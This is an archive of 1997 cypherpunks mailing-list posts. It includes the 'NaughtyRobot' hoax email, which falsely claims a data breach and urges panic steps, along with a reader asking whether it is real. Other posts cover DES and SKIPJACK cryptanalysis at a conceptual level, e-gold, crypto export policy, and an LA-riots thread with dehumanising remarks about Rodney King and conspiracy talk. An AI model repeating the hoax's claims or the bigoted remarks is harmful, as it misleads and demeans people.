sent to you by NaughtyRobot, an Internet spider that > crawls into your server through a tiny hole in the World Wide Web. > > NaughtyRobot exploits a security bug in HTTP and has visited your host > system to collect personal, private, and sensitive information. > > It has captured your Email and physical addresses, as well as your phone > and credit card numbers. To protect yourself against the misuse of this > information, do the following: > > 1. alert your server SysOp, > 2. contact your local police, > 3. disconnect your telephone, and > 4. report your credit cards as lost. > > Act at once. Remember: only YOU can prevent DATA fires. > > This has been a public service announcement from the makers of > NaughtyRobot -- CarJacking its way onto the Information SuperHighway. > From jya at pipeline.com Wed Feb 19 22:26:07 1997 From: jya at pipeline.com (John Young) Date: Wed, 19 Feb 1997 22:26:07 -0800 (PST) Subject: FIPS 196 Message-ID: <199702200626.WAA07966@toad.com> NIST announced in the Federal Register today "that the Secretary of Commerce has approved a new standard, which will be published as FIPS Publication 196, Entity Authentication Using Public Key Cryptography." http://jya.com/fips196.txt (12K) From eiwasaki at gol.com Wed Feb 19 22:26:09 1997 From: eiwasaki at gol.com (Ellen Iwasaki) Date: Wed, 19 Feb 1997 22:26:09 -0800 (PST) Subject: security breached by NaughtyRobot Message-ID: <199702200626.WAA07968@toad.com> HELP! Can anyone tell me what this message is that I received in my mail today? Is it real? Should I do as it suggests? I have used the Internet once to purchase some books? Was my credit card number stolen in the process? How did this happen and how will it affect me? What should I do? PLEASE ADVISE ASAP! Thank you for your help Ellen Iwasaki Kumamoto, Japan > From: eiwasaki at gol.com > Date: Wed, 19 Feb 97 02:27 CST > Apparently-From: eiwasaki at gol.com > Apparently-To: eiwasaki at gol.com > Reply-to: eiwasaki at gol.com > Registered-mail-reply-requested-by: eiwasaki at gol.com > Sensitivity: PERSONAL-CONFIDENTIAL > Precedence: EMERGENCY > Priority: URGENT > Comment: Authenticated sender is > Organization: NaughtyRobot > Subject: security breached by NaughtyRobot > > This message was sent to you by NaughtyRobot, an Internet spider that > crawls into your server through a tiny hole in the World Wide Web. > > NaughtyRobot exploits a security bug in HTTP and has visited your host > system to collect personal, private, and sensitive information. > > It has captured your Email and physical addresses, as well as your phone > and credit card numbers. To protect yourself against the misuse of this > information, do the following: > > 1. alert your server SysOp, > 2. contact your local police, > 3. disconnect your telephone, and > 4. report your credit cards as lost. > > Act at once. Remember: only YOU can prevent DATA fires. > > This has been a public service announcement from the makers of > NaughtyRobot -- CarJacking its way onto the Information SuperHighway. > From take at barrier-free.co.jp Wed Feb 19 22:26:16 1997 From: take at barrier-free.co.jp (Hayashi_Tsuyoshi) Date: Wed, 19 Feb 1997 22:26:16 -0800 (PST) Subject: "cypherpunks is dead..." Message-ID: <199702200626.WAA07994@toad.com> Dear Mr. Robert Hettinga, This is Tsuyoshi Hayashi, one of subscribers of the cypherpunks list, lives in Yokohama, Japan. I heard today's your voice on the cypherpunks list. I am little sad. I am almost ROM, read-only member... Although I have been hear for two and a half (wow..) years, I posted only three (or four...) messages. I am a bad boy. Sorry. > all Instead of it, I have gotten many many cripto-concerned info (such as PGP) which are worth reading (though they are very difficult for me, both technical and language ;-). Today I know about cryptography a little. I am working nearby the cryptographic field in Japan. So I DO want to say THANKS to all subscribers of the list and the owner-cypherpunks at toad.com, and the host machine named toad.com [140.174.2.1]. On Wed, 19 Feb 1997 15:37:08 -0500, Robert Hettinga said: >Anyway, I've learned all these things from many cypherpunks, some still Yes, me too! >Because of this list's effect on my life, I have been motivated to start >the Digital Commerce Society of Boston, to evangelize financial [..] I found your DCSB list out about a month ago. This list is also interesting for me. Thanks. >Next week, I go to FC97 in Anguilla because of the things I've learned on [..] I did want to go to FC97, but there is a long distance between Anguilla and Japan... I hope you will post the summary and/or topics of FC97 to the DCSB. :-) >[..] cypherpunks is not going to >die just because the address "cypherpunks at toad.com" ceases to exist. There Yah! >So. In a very real sense, today on cypherpunks is like any other day in the >life of a creosote bush. It's a big desert, folks. We're the only ones who # Sorry. Although there are both "creosote" and "bush" in # my English-Japanese dictionary, I could not understand # the meaning of "creosote bush". Please teach me it in # other easy words if you have a time. In English is OK. # In Japanese is the best. ;-) ==== Mr. Bob Hettinga and all, doumo arigatou gozaimashita! # And sorry for my poor English. In a "Roman Holiday", Audrey Hepburn said, "By all means, Roman..." Today I say, "By all means, Cypherpunks..." Best, - Tsuyoshi Hayashi - PGP public key: http://www.barrier-free.co.jp/take/pgpkey - (CF 27 34 5B 46 FA 2A 12 D2 4C E3 F7 2A 45 E0 22) - Barrier Free, Inc. (established on 25 Jan 1996) From dthorn at gte.net Wed Feb 19 23:59:43 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 19 Feb 1997 23:59:43 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702191924.MAA11906@infowest.com> Message-ID: <330C03B2.B39@gte.net> Attila T. Hun wrote: > on or about 970219:0722 Dale Thorn said: > +Simple, but.... In a right to jury trial of peers, are the peers the > +peers of the defendant or the peers of the victim? Both the Rodney > +King officers and the O.J. cases were perfect examples of how, when you > +switch the peer groups, you reverse the decisions. > you trying to be some kind of trouble maker? please remember that > *all* the fairweather dogooder liberals have been telling us for > years that everyone is equal. yeah, right! > therefore, juries are obviously color blind, and not dazzled by > attorneys calling up racism. yeah, right! It just makes me a little nervous to see jurors getting so personally involved that they come out of the box with a clenched fist as a (I suppose) victory salute. I didn't care to watch the charade in Santa Monica recently, but I doubt it was much better. > as to Powell, he is/was an animal who should have been put away > permanently. I watched most of the first trial live in '92, since I wasn't working that year. My impressions at the time went along with the presentation, which was fair to the officers. It was stated by Koon and one of the other officers as much as a year later, when many cities across the U.S. had been using the King video for training for several months to a year, "The LAPD has not to this date provided their officers with new tools and techniques to handle this kind of situation without a repeat of the same" (quote approximate). Of course, if you're willing to consider an alternative scenario, one which would appeal primarily to "conspiracy buffs" and the like, you might recall that L.A. was getting ready to put in a new freeway from the airport across the very line where the most fires were (6,000-plus fires, so extensive that the big jets couldn't fly over to LAX), and I think the outcome was to save them a lot of work, a windfall as it were. > Koon was an officer's officer (personal experience) and was in > the wrong place at the wrong time, not willing to step in. Koon lost > 24 years of service without a mark, his pension, and all his benefits > with 5 or 6 kids at home --and they had to go into hiding until > found by the liberal press again and again who obviously felt the > family should be punished as well. we wont even bother with the > issues of double jeopardy when they pull a federal civil rights > trial on all of them after the state court cleared everyone except > Powell who they hung on. they had a clear right to try Powell, > noone else. It's good if you don't read the L.A. Times. One of their lead editor- ializers (whores), a professor at USC law school named Erwin Chemerinsky, writes in relation to this subject "The federal government is an inde- pendent sovereign that cannot have its powers diminished by a state government's actions." (exact quote, 2/7/97). Either that's a load of BS doubletalk, or it's one of the more fascistic commentaries from the Times, which is usually bad enough. BTW, the Times printed a large picture (first time I've ever seen) of the chairman, someone named Schlossberg, and I think it's spelled slightly different than the one who married Caroline Kennedy. Anyway, this guy could be Michael Eisner's twin brother. Two bozos if I ever saw 'em, goofy-looking dudes, which would explain much about their newspaper editorial policy. > and the video played for evidence missed the first 90 seconds when a > very large animal (Rodney King can be described no other way) came > out of the car, dancing the jig, and went after Powell. by the time > the prosecutors, particularly the Feds, were through itimidating the > witnesses, nobody told the truth. The suppression of evidence that worked in the police officers' 2nd trial has apparently become the precedent for a whole lot of trials. The feds are sweating hard on this OKC bombing thing - latest is that the initial witnesses seeing McVeigh here or there have admitted to contradictory descriptions they've given before. Note that there was some jury tampering (IMO, and others too) in the grand jury proceeding in OKC; also note the flimsy excuse for throwing out the grand jury in the Simpson case, since they weren't going to indict Simpson. I didn't even read close on the De La Beckwith case, where the feds finally nailed him after 20-plus years of trying, but maybe there's something on the internet.... > Rodney King had been busted for public intoxication, controlled > substances, and disorder enough times that he was well recognized > for what he was --and easily identified. Let anyone say whatever they want to about cops, but I'm glad it's not me out there facing 220-lb guys on dust. I heard first hand from one who shot a guy twice, and he just kept coming. If a .38 won't stop 'em, maybe that's where the big dogs come in handy. It would've been interesting if the King video had a minute or so with a couple of K-9's... > in the spooks, we called Powell's actions "the red mask" --once you > start staring the beast in the eye, you are so wired on there is no > stopping until your opponent is jello. 'shocktroops' or > 'Stossentruppen' should never be used in civilian police forces, > except possibily on SWAT teams, not an average street cop. When I went into the Army for combat training, I stood 5-10 and weighed 120 lbs. I weighed 130 when I came out. I guess I could have gone on patrol looking for Charlie, and maybe kept alive, if I didn't have to take on some well-fed crazies whose lives were turning to shit because of their enormous stupidity. In any case, I couldn't go out on the street in L.A. and face guys like King, so I lean toward the cops as much as I can. BTW (and speaking of stupidity), the Christopher Commission named 44 or 45 cops out of the LAPD's 8,000-plus as problem officers, and two(!) of the 45 went to the Simpson home the night/morning of the murders. > and why did we have the trial in the first place? simply because the > LA Times and KABC decided there was going to be a trial. I dont > know whether to chalk it off to their bleeding heart liberals, or > just the usual greed for money to be made on high profile news. > or is it just more of the usual politically correct beat down of > the oppressive whiteface? Big Money, Big Fame, Big Fortune. Look at Dan Rather, Robert McNeil, Bill Moyers, and others who profited handsomely from their on-the- scene experience in the JFK killing. Remember Netanyahu, who spent all those hours on the telly during the Gulf War, playing the role of the ultra-conservative Israeli leader who could step right in and take command in a crisis? Well, he did, and have you seen any recent pictures of him? Even when he's with Yessir Yurafart, he's beaming broadly, like the cat that just ate the canary. Big, big money. > it is sometimes difficult to defend the LA Police department when > you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of > them are cowboys; Big Ed is now a state senator from the far west > Valley, what was horse country when I lived there. they had a job > to do, and LA is a mean place. the city itself is 2/3 poverty, half > of that extreme ghetto and barrio problems. > Big Ed is the man who proposed the fitting ending to airline > hijackings, and set up his display in plain sight: in front of > the American Airlines terminal building 4 at LAX before LAX was > double decked. > Big Ed parked a 40 ft flat bed trailer out there with a judge's > bench at one end and a gallows at the other end with the jury box > and dock in between. yes, sir, justice by the hijackers' peers; > take the next 12 citizens coming out the doors. > perfect and swift justice on someone who has no defense for his > actions. [heh heh] The people of L.A. really liked Gates, because he kept the peace. And they liked (Uncle) Tom Bradley just as well, since he kept the city really clean. No trash on the streets, no dirt, all the beautiful shrubs lining the freeways well-watered - you ought to see Hollywood since they started putting in the "subway" under Mayor Riordan. Anyone with any sense of pride at all would be aghast at what's happened. Streets caving in, wooden planks covering big holes on lots of streets that you have to drive over, it's a mess. Even a lot of the old stars on the Walk of Fame were badly damaged. Riordan must be a Communist, or Mafia or something. Funny that when he ran for mayor, his huge billboards all over town had his name in big letters, and the next-to-last letter (a) was replaced with a large red star, looking exactly like the ones they used under Mao. [remainder snipped] From stewarts at ix.netcom.com Thu Feb 20 00:24:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 20 Feb 1997 00:24:07 -0800 (PST) Subject: Cryptanalysis In-Reply-To: <199702151726.JAA27016@toad.com> Message-ID: <3.0.1.32.19970219081646.00628560@popd.ix.netcom.com> At 11:21 AM 2/15/97 -0500, you wrote: >Was wondering if anyone could help me with short explainations on the >cryptanalysis of SKIPJACK and DES. If ya hit www.sauge.com/crypt you >might get a better idea of what i'm trying to accomplish. > >Vague explanations are OK. Dont want long drawn out explainations on >the implementation of an attack (source code, proofs, statistical >analysis and the like), just a short explaination of the attack. Cryptanalysis of DES is a 25-year ongoing academic exercise, with lots and lots of results. It's easy to attack it in 2**55 tries, because of symmetry, but that's a very large number :-) Differential cryptanalysis, discovered by Biham and Shamir, shows that the NSA probably did help the design process when working with IBM to turn IBM's 128-bit-key Lucifer system into DES, and certainly didn't weaken it. Linear cryptanalysis, discovered more recently, shaves some more bits off the strength if you have an extremely large amount of known plaintext. Brute-force attacks on DES (just try lots of keys until you win) used to be viewed as almost infeasible, but about 5-6 years ago there were a couple of designs for cracking machines that could do a 1-day crack for $30-50M, and then Wiener's design for a $1M, 3.5-hour cracking machine about 5 years ago. Gate arrays have gotten denser, faster, and cheaper since then, and if you want to crack a _lot_ of keys (e.g. you're the NSA) you can probably afford to burn ASICs to get even denser and faster. The slow part of the attack _had_ been key scheduling, but recent work by Peter Trei and others shows that you can do key scheduling very efficiently for the brute-force keysearch problem by picking keys in Gray Code order (since a one-bit change in key causes a simple change in key-schedule - it's totally useless for normal encryption/ decryption, but it's a big win for brute-force cracks.) There may be a distributed Internet crack using that approach, though DES is still very inefficient on general-purpose computers and works better on bit-twiddliing chips. SKIPJACK is a totally different game - the NSA keeps the algorithm secret, and the only semi-outsiders who've seen it were a group of 5 people including Dorothy Denning and Dave Maher who were allowed to do a study when the NSA were trying to foist Clipper onto us. They concluded that SKIPJACK was reasonably strong (in their interim report), which gave them good propaganda points, and never did the "final report" that was supposed to address the entire Clipper chip (where most of the technical weaknesses were) and the key-handling charade around it. I don't remember if Matt Blaze's spoofing attack on the Clipper chip came before or after their interim report - the checksums were too short so you could impersonate another chip under reasonably wide conditions. According to the data sheets for the Mykotronx Clipper Chip, SKIPJACK is a Feistel-structured cypher with N rounds (I think it was 16 or 32.) 80 bits is enough that if anybody can discover the algorithm, it's too long to brute force today but starts looking pretty vulnerable in 10-20 years, and of course the Feds would have your keys today, so they can wiretap you, without needing legal authorization, and you can probably bribe a Fed faster than you can brute-force the chip. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From gbroiles at netbox.com Thu Feb 20 00:44:55 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 20 Feb 1997 00:44:55 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702191924.MAA11906@infowest.com> Message-ID: <3.0.1.32.19970220004926.0073696c@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 11:56 PM 2/19/97 -0800, Dale Thorn wrote: >It's good if you don't read the L.A. Times. One of their lead editor- >ializers (whores), a professor at USC law school named Erwin >Chemerinsky, >writes in relation to this subject "The federal government is an inde- >pendent sovereign that cannot have its powers diminished by a state >government's actions." (exact quote, 2/7/97). Either that's a load of >BS doubletalk, or it's one of the more fascistic commentaries from the >Times, which is usually bad enough. Hey, don't forget to shoot the messenger. Chemerinsky's statement is a concise summary of at least the last 70 years of double jeopardy jurisprudence. The only thing that's unusual about the use of the "dual sovereign" doctrine against the cops who beat King was that it's usually used against ordinary citizens, not cops. Do you suppose it's possible that some of the other evil conspiracies you see lurking behind every bush are also just reflections of your own fears and misunderstanding? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwwPvf37pMWUJFlhAQEdtwf+PXP4jgU9kLlJ4VmI0tp5SUu2A7+4SIu1 fUB6nVCnJFroRAh1ds7lDonW8tjQw19/iOYyg0e1O+8cX4VlC0FhPJjD1nGwReWg z9rFjYpZ0J23Q/fGZwCziz4QF1QZwwqVoiQM+eur7cAKVCTHOZI8v7LEwtJZAeiU TUYS5YR7Vn6lkJ1XZQJv6Cjo1ZWQmldSQ4vue4qAk3DyHoaahbqa8Wkjk1CBmdpk jDmk9Uy3ejwZ54CZz1AQrGM4Cvpc9/rMtUHUuQttN7OU/YSUBTWZivD+TJoVQPAJ iFVcVbRiF6dnzpi7dOYt7E/ZXox1NsH0rgJ8JZuU0s3nuwgtW6qimA== =khMb -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From rah at shipwright.com Thu Feb 20 06:11:08 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 20 Feb 1997 06:11:08 -0800 (PST) Subject: E-Gold: It had to happen Message-ID: --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Ian Grigg MIME-Version: 1.0 Precedence: Bulk Date: Thu, 20 Feb 1997 10:53:31 +0100 From: Ian Grigg To: Multiple recipients of Subject: Re: E-Gold: It had to happen some dead guy called gold dot wrote: > Yo, c-punks: Yo, dude > In the back of the March 97 issue of Liberty Magazine is an ad > for a gold backed e-money system called e-gold(tm). It appears > to be an on-line transaction system for paying other e-gold > account holders in e-money backed with gold or other precious > metals. Nice one, perhaps you could scan in the ad, seeing as my issue doesn't arrive until ... March. Your system "appears to be" an accounting system stuck on top of SSL. But I guess we don't get to find out, for sure, unless we commit lots of bucks... > See http://www.e-gold.com/ for more info. Yeah, nice pages, lots of homework done here folks, but you forgot to mention: who are you? where are you? when are you? will you be? -- iang iang at systemics.com ---------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From asgaard at Cor.sos.sll.se Thu Feb 20 06:56:06 1997 From: asgaard at Cor.sos.sll.se (Asgaard) Date: Thu, 20 Feb 1997 06:56:06 -0800 (PST) Subject: European crypto export policy Message-ID: <199702201456.GAA14451@toad.com> Ulf Moeller wrote: > I wonder if someone whose Swedish is better than mine could summarize > the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html After signing the Wassenaar Arrangement, Sweden has written it's own ITAR and there is a subdepartment of the UD, it's Foreign Office/State Department, the ISP (Inspection of Strategic Products), that handles export requests, if need be with the help of the FRA, it's NSA. A representative of the ISP says that only a handful of EU member states are completely cleared by the Wassenaar statutes to be at the importing end of strong crypto: England, France, Holland, Sweden and Germany. Most other EU states could fail because it would be to upgrade them concerning their cryptologic resources. An example is given: the coming Swedish ID smartcard (using DES and 512 bit RSA) would theoretically need a OK from the ISP before being carried over the border to Denmark. A crypto exporter (obviously hardware) complains about harassing bureaucrazy even if Germany is the recipient. So much about that short article. In addition to Goran Axelsson, Sweden's representative in the EU's IT security body whom Ulf is mentioning in his post, Swedish crypto-politics is handled by this guy's boss (at least formally) at the UD, Magnus Faxen. And then there is the FRA (Forsvarets Radioanstalt), a body as secretive as the NSA. They don't officially take part in the discussions at all. Asgaard From gbroiles at netbox.com Thu Feb 20 06:56:17 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 20 Feb 1997 06:56:17 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702201456.GAA14462@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 11:56 PM 2/19/97 -0800, Dale Thorn wrote: >It's good if you don't read the L.A. Times. One of their lead editor- >ializers (whores), a professor at USC law school named Erwin >Chemerinsky, >writes in relation to this subject "The federal government is an inde- >pendent sovereign that cannot have its powers diminished by a state >government's actions." (exact quote, 2/7/97). Either that's a load of >BS doubletalk, or it's one of the more fascistic commentaries from the >Times, which is usually bad enough. Hey, don't forget to shoot the messenger. Chemerinsky's statement is a concise summary of at least the last 70 years of double jeopardy jurisprudence. The only thing that's unusual about the use of the "dual sovereign" doctrine against the cops who beat King was that it's usually used against ordinary citizens, not cops. Do you suppose it's possible that some of the other evil conspiracies you see lurking behind every bush are also just reflections of your own fears and misunderstanding? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwwPvf37pMWUJFlhAQEdtwf+PXP4jgU9kLlJ4VmI0tp5SUu2A7+4SIu1 fUB6nVCnJFroRAh1ds7lDonW8tjQw19/iOYyg0e1O+8cX4VlC0FhPJjD1nGwReWg z9rFjYpZ0J23Q/fGZwCziz4QF1QZwwqVoiQM+eur7cAKVCTHOZI8v7LEwtJZAeiU TUYS5YR7Vn6lkJ1XZQJv6Cjo1ZWQmldSQ4vue4qAk3DyHoaahbqa8Wkjk1CBmdpk jDmk9Uy3ejwZ54CZz1AQrGM4Cvpc9/rMtUHUuQttN7OU/YSUBTWZivD+TJoVQPAJ iFVcVbRiF6dnzpi7dOYt7E/ZXox1NsH0rgJ8JZuU0s3nuwgtW6qimA== =khMb -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From rah at shipwright.com Thu Feb 20 06:56:23 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 20 Feb 1997 06:56:23 -0800 (PST) Subject: E-Gold: It had to happen Message-ID: <199702201456.GAA14483@toad.com> --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Ian Grigg MIME-Version: 1.0 Precedence: Bulk Date: Thu, 20 Feb 1997 10:53:31 +0100 From: Ian Grigg To: Multiple recipients of Subject: Re: E-Gold: It had to happen some dead guy called gold dot wrote: > Yo, c-punks: Yo, dude > In the back of the March 97 issue of Liberty Magazine is an ad > for a gold backed e-money system called e-gold(tm). It appears > to be an on-line transaction system for paying other e-gold > account holders in e-money backed with gold or other precious > metals. Nice one, perhaps you could scan in the ad, seeing as my issue doesn't arrive until ... March. Your system "appears to be" an accounting system stuck on top of SSL. But I guess we don't get to find out, for sure, unless we commit lots of bucks... > See http://www.e-gold.com/ for more info. Yeah, nice pages, lots of homework done here folks, but you forgot to mention: who are you? where are you? when are you? will you be? -- iang iang at systemics.com ---------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From stewarts at ix.netcom.com Thu Feb 20 06:56:24 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 20 Feb 1997 06:56:24 -0800 (PST) Subject: Cryptanalysis Message-ID: <199702201456.GAA14484@toad.com> At 11:21 AM 2/15/97 -0500, you wrote: >Was wondering if anyone could help me with short explainations on the >cryptanalysis of SKIPJACK and DES. If ya hit www.sauge.com/crypt you >might get a better idea of what i'm trying to accomplish. > >Vague explanations are OK. Dont want long drawn out explainations on >the implementation of an attack (source code, proofs, statistical >analysis and the like), just a short explaination of the attack. Cryptanalysis of DES is a 25-year ongoing academic exercise, with lots and lots of results. It's easy to attack it in 2**55 tries, because of symmetry, but that's a very large number :-) Differential cryptanalysis, discovered by Biham and Shamir, shows that the NSA probably did help the design process when working with IBM to turn IBM's 128-bit-key Lucifer system into DES, and certainly didn't weaken it. Linear cryptanalysis, discovered more recently, shaves some more bits off the strength if you have an extremely large amount of known plaintext. Brute-force attacks on DES (just try lots of keys until you win) used to be viewed as almost infeasible, but about 5-6 years ago there were a couple of designs for cracking machines that could do a 1-day crack for $30-50M, and then Wiener's design for a $1M, 3.5-hour cracking machine about 5 years ago. Gate arrays have gotten denser, faster, and cheaper since then, and if you want to crack a _lot_ of keys (e.g. you're the NSA) you can probably afford to burn ASICs to get even denser and faster. The slow part of the attack _had_ been key scheduling, but recent work by Peter Trei and others shows that you can do key scheduling very efficiently for the brute-force keysearch problem by picking keys in Gray Code order (since a one-bit change in key causes a simple change in key-schedule - it's totally useless for normal encryption/ decryption, but it's a big win for brute-force cracks.) There may be a distributed Internet crack using that approach, though DES is still very inefficient on general-purpose computers and works better on bit-twiddliing chips. SKIPJACK is a totally different game - the NSA keeps the algorithm secret, and the only semi-outsiders who've seen it were a group of 5 people including Dorothy Denning and Dave Maher who were allowed to do a study when the NSA were trying to foist Clipper onto us. They concluded that SKIPJACK was reasonably strong (in their interim report), which gave them good propaganda points, and never did the "final report" that was supposed to address the entire Clipper chip (where most of the technical weaknesses were) and the key-handling charade around it. I don't remember if Matt Blaze's spoofing attack on the Clipper chip came before or after their interim report - the checksums were too short so you could impersonate another chip under reasonably wide conditions. According to the data sheets for the Mykotronx Clipper Chip, SKIPJACK is a Feistel-structured cypher with N rounds (I think it was 16 or 32.) 80 bits is enough that if anybody can discover the algorithm, it's too long to brute force today but starts looking pretty vulnerable in 10-20 years, and of course the Feds would have your keys today, so they can wiretap you, without needing legal authorization, and you can probably bribe a Fed faster than you can brute-force the chip. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dthorn at gte.net Thu Feb 20 06:56:27 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 20 Feb 1997 06:56:27 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702201456.GAA14485@toad.com> Attila T. Hun wrote: > on or about 970219:0722 Dale Thorn said: > +Simple, but.... In a right to jury trial of peers, are the peers the > +peers of the defendant or the peers of the victim? Both the Rodney > +King officers and the O.J. cases were perfect examples of how, when you > +switch the peer groups, you reverse the decisions. > you trying to be some kind of trouble maker? please remember that > *all* the fairweather dogooder liberals have been telling us for > years that everyone is equal. yeah, right! > therefore, juries are obviously color blind, and not dazzled by > attorneys calling up racism. yeah, right! It just makes me a little nervous to see jurors getting so personally involved that they come out of the box with a clenched fist as a (I suppose) victory salute. I didn't care to watch the charade in Santa Monica recently, but I doubt it was much better. > as to Powell, he is/was an animal who should have been put away > permanently. I watched most of the first trial live in '92, since I wasn't working that year. My impressions at the time went along with the presentation, which was fair to the officers. It was stated by Koon and one of the other officers as much as a year later, when many cities across the U.S. had been using the King video for training for several months to a year, "The LAPD has not to this date provided their officers with new tools and techniques to handle this kind of situation without a repeat of the same" (quote approximate). Of course, if you're willing to consider an alternative scenario, one which would appeal primarily to "conspiracy buffs" and the like, you might recall that L.A. was getting ready to put in a new freeway from the airport across the very line where the most fires were (6,000-plus fires, so extensive that the big jets couldn't fly over to LAX), and I think the outcome was to save them a lot of work, a windfall as it were. > Koon was an officer's officer (personal experience) and was in > the wrong place at the wrong time, not willing to step in. Koon lost > 24 years of service without a mark, his pension, and all his benefits > with 5 or 6 kids at home --and they had to go into hiding until > found by the liberal press again and again who obviously felt the > family should be punished as well. we wont even bother with the > issues of double jeopardy when they pull a federal civil rights > trial on all of them after the state court cleared everyone except > Powell who they hung on. they had a clear right to try Powell, > noone else. It's good if you don't read the L.A. Times. One of their lead editor- ializers (whores), a professor at USC law school named Erwin Chemerinsky, writes in relation to this subject "The federal government is an inde- pendent sovereign that cannot have its powers diminished by a state government's actions." (exact quote, 2/7/97). Either that's a load of BS doubletalk, or it's one of the more fascistic commentaries from the Times, which is usually bad enough. BTW, the Times printed a large picture (first time I've ever seen) of the chairman, someone named Schlossberg, and I think it's spelled slightly different than the one who married Caroline Kennedy. Anyway, this guy could be Michael Eisner's twin brother. Two bozos if I ever saw 'em, goofy-looking dudes, which would explain much about their newspaper editorial policy. > and the video played for evidence missed the first 90 seconds when a > very large animal (Rodney King can be described no other way) came > out of the car, dancing the jig, and went after Powell. by the time > the prosecutors, particularly the Feds, were through itimidating the > witnesses, nobody told the truth. The suppression of evidence that worked in the police officers' 2nd trial has apparently become the precedent for a whole lot of trials. The feds are sweating hard on this OKC bombing thing - latest is that the initial witnesses seeing McVeigh here or there have admitted to contradictory descriptions they've given before. Note that there was some jury tampering (IMO, and others too) in the grand jury proceeding in OKC; also note the flimsy excuse for throwing out the grand jury in the Simpson case, since they weren't going to indict Simpson. I didn't even read close on the De La Beckwith case, where the feds finally nailed him after 20-plus years of trying, but maybe there's something on the internet.... > Rodney King had been busted for public intoxication, controlled > substances, and disorder enough times that he was well recognized > for what he was --and easily identified. Let anyone say whatever they want to about cops, but I'm glad it's not me out there facing 220-lb guys on dust. I heard first hand from one who shot a guy twice, and he just kept coming. If a .38 won't stop 'em, maybe that's where the big dogs come in handy. It would've been interesting if the King video had a minute or so with a couple of K-9's... > in the spooks, we called Powell's actions "the red mask" --once you > start staring the beast in the eye, you are so wired on there is no > stopping until your opponent is jello. 'shocktroops' or > 'Stossentruppen' should never be used in civilian police forces, > except possibily on SWAT teams, not an average street cop. When I went into the Army for combat training, I stood 5-10 and weighed 120 lbs. I weighed 130 when I came out. I guess I could have gone on patrol looking for Charlie, and maybe kept alive, if I didn't have to take on some well-fed crazies whose lives were turning to shit because of their enormous stupidity. In any case, I couldn't go out on the street in L.A. and face guys like King, so I lean toward the cops as much as I can. BTW (and speaking of stupidity), the Christopher Commission named 44 or 45 cops out of the LAPD's 8,000-plus as problem officers, and two(!) of the 45 went to the Simpson home the night/morning of the murders. > and why did we have the trial in the first place? simply because the > LA Times and KABC decided there was going to be a trial. I dont > know whether to chalk it off to their bleeding heart liberals, or > just the usual greed for money to be made on high profile news. > or is it just more of the usual politically correct beat down of > the oppressive whiteface? Big Money, Big Fame, Big Fortune. Look at Dan Rather, Robert McNeil, Bill Moyers, and others who profited handsomely from their on-the- scene experience in the JFK killing. Remember Netanyahu, who spent all those hours on the telly during the Gulf War, playing the role of the ultra-conservative Israeli leader who could step right in and take command in a crisis? Well, he did, and have you seen any recent pictures of him? Even when he's with Yessir Yurafart, he's beaming broadly, like the cat that just ate the canary. Big, big money. > it is sometimes difficult to defend the LA Police department when > you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of > them are cowboys; Big Ed is now a state senator from the far west > Valley, what was horse country when I lived there. they had a job > to do, and LA is a mean place. the city itself is 2/3 poverty, half > of that extreme ghetto and barrio problems. > Big Ed is the man who proposed the fitting ending to airline > hijackings, and set up his display in plain sight: in front of > the American Airlines terminal building 4 at LAX before LAX was > double decked. > Big Ed parked a 40 ft flat bed trailer out there with a judge's > bench at one end and a gallows at the other end with the jury box > and dock in between. yes, sir, justice by the 